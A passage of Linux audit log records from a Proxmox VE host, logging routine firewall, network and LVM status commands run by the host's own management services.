type=EXECVE msg=audit(1781964915.367:63191): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964225812,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.812:60111): proctitle=\"ip6tables-save\""} {"@timestamp":1781964915362,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.362:63190): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964225805,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.805:60110): proctitle=\"iptables-save\""} {"@timestamp":1781964915355,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.355:63189): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964225799,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.799:60109): proctitle=69707365740073617665"} {"@timestamp":1781964915348,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.348:63188): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964225793,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.793:60108): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964915344,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.344:63187): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964225786,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964225.786:60107): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964915341,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.341:63186): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964224312,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964224.312:60106): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964915340,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.340:63185): argc=1 a0=\"date\""} {"@timestamp":1781964224280,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964224.280:60105): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964915336,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.336:63183): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964223372,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964223.372:60104): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964915330,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.330:63182): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964223372,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964223.372:60103): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964915323,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.323:63181): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964223372,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964223.372:60102): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964915318,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.318:63180): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964223364,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964223.364:60101): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964915311,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.311:63179): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964223364,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964223.364:60100): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964915305,"@rawstring":"node=pve type=EXECVE msg=audit(1781964915.305:63178): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964223364,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964223.364:60099): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964914165,"@rawstring":"node=pve type=EXECVE msg=audit(1781964914.165:63177): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964219564,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964219.564:60098): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964914132,"@rawstring":"node=pve type=EXECVE msg=audit(1781964914.132:63176): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964219564,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964219.564:60097): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781964911096,"@rawstring":"node=pve type=EXECVE msg=audit(1781964911.096:63175): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964219562,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964219.562:60096): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781964911088,"@rawstring":"node=pve type=EXECVE msg=audit(1781964911.088:63172): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964218356,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964218.356:60095): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964906078,"@rawstring":"node=pve type=EXECVE msg=audit(1781964906.078:63169): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964218356,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964218.356:60094): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964906071,"@rawstring":"node=pve type=EXECVE msg=audit(1781964906.071:63166): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964218356,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964218.356:60093): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964905294,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.294:63163): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964218345,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964218.345:60092): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964905291,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.291:63162): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964218345,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964218.345:60091): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964905289,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.289:63161): argc=1 a0=\"date\""} {"@timestamp":1781964218345,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964218.345:60090): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964905285,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.285:63159): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964215775,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.775:60089): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964905279,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.279:63158): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964215771,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.771:60088): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964905273,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.273:63157): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964215770,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.770:60087): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964905267,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.267:63156): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964215770,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.770:60086): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964905261,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.261:63155): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964215766,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.766:60085): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964905255,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.255:63153): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964215760,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.760:60084): proctitle=\"ip6tables-save\""} {"@timestamp":1781964905250,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.250:63152): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964215753,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.753:60083): proctitle=\"iptables-save\""} {"@timestamp":1781964905244,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.244:63151): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964215746,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.746:60082): proctitle=\"ip6tables-save\""} {"@timestamp":1781964905238,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.238:63150): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964215739,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.739:60081): proctitle=\"iptables-save\""} {"@timestamp":1781964905233,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.233:63149): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964215735,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.735:60080): proctitle=\"ebtables-restore\""} {"@timestamp":1781964905228,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.228:63148): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964215733,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.733:60079): proctitle=\"ebtables-restore\""} {"@timestamp":1781964905221,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.221:63147): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964215728,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.728:60078): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964905214,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.214:63146): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964215722,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.722:60077): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964905210,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.210:63145): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964215716,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.716:60076): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964905207,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.207:63144): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964215712,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.712:60075): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964905206,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.206:63143): argc=1 a0=\"date\""} {"@timestamp":1781964215706,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.706:60074): proctitle=697073657400726573746F7265"} {"@timestamp":1781964905201,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.201:63141): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964215699,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.699:60073): proctitle=\"ip6tables-save\""} {"@timestamp":1781964905193,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.193:63140): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964215693,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.693:60072): proctitle=\"iptables-save\""} {"@timestamp":1781964905185,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.185:63139): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964215689,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.689:60071): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964905179,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.179:63138): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964215685,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.685:60070): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964905172,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.172:63137): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964215684,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.684:60069): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964905165,"@rawstring":"node=pve type=EXECVE msg=audit(1781964905.165:63136): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964215684,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.684:60068): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964904054,"@rawstring":"node=pve type=EXECVE msg=audit(1781964904.054:63135): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964215680,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.680:60067): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964904028,"@rawstring":"node=pve type=EXECVE msg=audit(1781964904.028:63134): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964215673,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.673:60066): proctitle=\"ip6tables-save\""} {"@timestamp":1781964901063,"@rawstring":"node=pve type=EXECVE msg=audit(1781964901.063:63133): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964215666,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.666:60065): proctitle=\"iptables-save\""} {"@timestamp":1781964901057,"@rawstring":"node=pve type=EXECVE msg=audit(1781964901.057:63130): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964215661,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.661:60064): proctitle=69707365740073617665"} {"@timestamp":1781964896047,"@rawstring":"node=pve type=EXECVE msg=audit(1781964896.047:63127): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964215655,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.655:60063): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964896041,"@rawstring":"node=pve type=EXECVE msg=audit(1781964896.041:63124): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964215648,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964215.648:60062): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964895152,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.152:63121): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964214202,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964214.202:60061): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964895144,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.144:63120): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964214165,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964214.165:60060): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964895144,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.144:63119): argc=1 a0=\"date\""} {"@timestamp":1781964213335,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964213.335:60059): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964895140,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.140:63117): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964213335,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964213.335:60058): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964895132,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.132:63116): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964213335,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964213.335:60057): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964895126,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.126:63115): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964213328,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964213.328:60056): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964895119,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.119:63114): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964213328,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964213.328:60055): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964895112,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.112:63113): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964213328,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964213.328:60054): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964895106,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.106:63111): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964208314,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964208.314:60053): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964895101,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.101:63110): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964208314,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964208.314:60052): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964895096,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.096:63109): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964208314,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964208.314:60051): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964895091,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.091:63108): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964208306,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964208.306:60050): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964895085,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.085:63107): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964208306,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964208.306:60049): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964895079,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.079:63106): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964208306,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964208.306:60048): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964895071,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.071:63105): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964205635,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.635:60047): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964895065,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.065:63104): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964205633,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.633:60046): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964895061,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.061:63103): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964205632,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.632:60045): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964895057,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.057:63102): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964205632,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.632:60044): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964895055,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.055:63101): argc=1 a0=\"date\""} {"@timestamp":1781964205628,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.628:60043): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964895051,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.051:63099): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964205621,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.621:60042): proctitle=\"ip6tables-save\""} {"@timestamp":1781964895044,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.044:63098): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964205614,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.614:60041): proctitle=\"iptables-save\""} {"@timestamp":1781964895036,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.036:63097): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964205608,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.608:60040): proctitle=\"ip6tables-save\""} {"@timestamp":1781964895030,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.030:63096): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964205600,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.600:60039): proctitle=\"iptables-save\""} {"@timestamp":1781964895021,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.021:63095): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964205598,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.598:60038): proctitle=\"ebtables-restore\""} {"@timestamp":1781964895013,"@rawstring":"node=pve type=EXECVE msg=audit(1781964895.013:63094): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964205595,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.595:60037): proctitle=\"ebtables-restore\""} {"@timestamp":1781964894947,"@rawstring":"node=pve type=EXECVE msg=audit(1781964894.947:63093): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964205590,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.590:60036): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964894922,"@rawstring":"node=pve type=EXECVE msg=audit(1781964894.922:63092): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964205584,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.584:60035): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964894842,"@rawstring":"node=pve type=EXECVE msg=audit(1781964894.842:63091): argc=3 a0=\"/usr/bin/perl\" a1=\"/usr/sbin/qm\" a2=\"list\""} {"@timestamp":1781964205579,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.579:60034): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964891033,"@rawstring":"node=pve type=EXECVE msg=audit(1781964891.033:63090): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964205573,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.573:60033): 